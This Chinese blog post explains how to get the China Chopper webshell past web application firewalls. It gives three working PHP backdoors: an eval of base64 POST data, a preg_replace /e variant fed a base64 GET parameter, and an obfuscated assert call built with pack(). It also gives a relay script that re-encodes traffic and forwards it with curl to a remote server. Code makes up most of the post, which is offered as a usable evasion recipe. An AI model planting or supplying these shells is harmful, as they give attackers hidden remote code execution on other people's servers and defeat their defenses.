菜刀php过waf
2016-06-15 14:48 狼人:-) 阅读(1506) 评论(0) 编辑 收藏 举报关于PHP
一、waf为啥会拦截菜刀。
菜刀在连接时,会向server端POST数据,抓包查看:
会看到他向server端post了 @eval(base64_decode($_POST[z0]));
一般的waf都会拦截eval的。
二、要想菜刀仍然正常工作,就必须让菜刀中的内置的@eval(base64_decode($_POST[z0]));代码不被waf拦截,但又可以传递到server端。
方案一:修改菜刀
(1)修改菜刀,将菜刀客户端的eval(base64_decode($_POST[z0]))去掉,写进服务端去。
于是server端代码为:
<?php if($_POST['c']!='') { @eval(base64_decode($_POST[z0])); } ?>
客户端用修改后的菜刀连接。
说明:这种方法是将菜刀内置的eval(base64_decode($_POST[z0]))直接写到server端。
(2)修改菜刀,将菜刀客户端的eval(base64_decode($_POST[z0]))去掉,用get方式将eval(base64_decode($_POST[z0]))的base64加密形式发到服务端。
server端代码:
<?php preg_replace("/^/e",base64_decode($_REQUEST[g]),0);?>
客户端用修改后的菜刀连接:http://www.s2ck.cc/test.php?g=ZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFt6MF0pKQ==
说明:这种方法是将菜刀内置的 eval(base64_decode($_POST[z0]))通过base64加密,然后通过get方式传到server端。
方案二:中转client->自己服务器/应用(加密)->防火墙->真实地址(解密)
(3)通过中转,将菜刀post的eval(base64_decode($_POST[z0]))进行加密。服务端进行解密。
server端代码:
<?php $func=pack("c6",97,115,115,101,114,116); $_POST['c']=base64_decode( $_POST['c']) ; $func($_POST['c']); ?>
中转端代码:
<?php $handle=curl_init(); $DATA=array(); $DATA=$_POST; $DATA['c']=base64_encode(substr($DATA['c'],1)); curl_setopt($handle,CURLOPT_URL,'http://www.s2ck.cc/1.php'); curl_setopt($handle,CURLOPT_HEADER,0); curl_setopt($handle,CURLOPT_RETURNTRANSFER, 1); curl_setopt($handle,CURLOPT_POST,1); curl_setopt($handle,CURLOPT_POSTFIELDS,$DATA); $output=curl_exec($handle); if($output === FALSE) { echo "cURL Error: " . curl_error($handle); } echo ($output); curl_close($handle); ?>
客户端:
用原版菜刀连接。
说明:这种方法是将菜刀内置的 eval(base64_decode($_POST[z0]))通过中转端进行加密,然后server端进行解密。从而绕过waf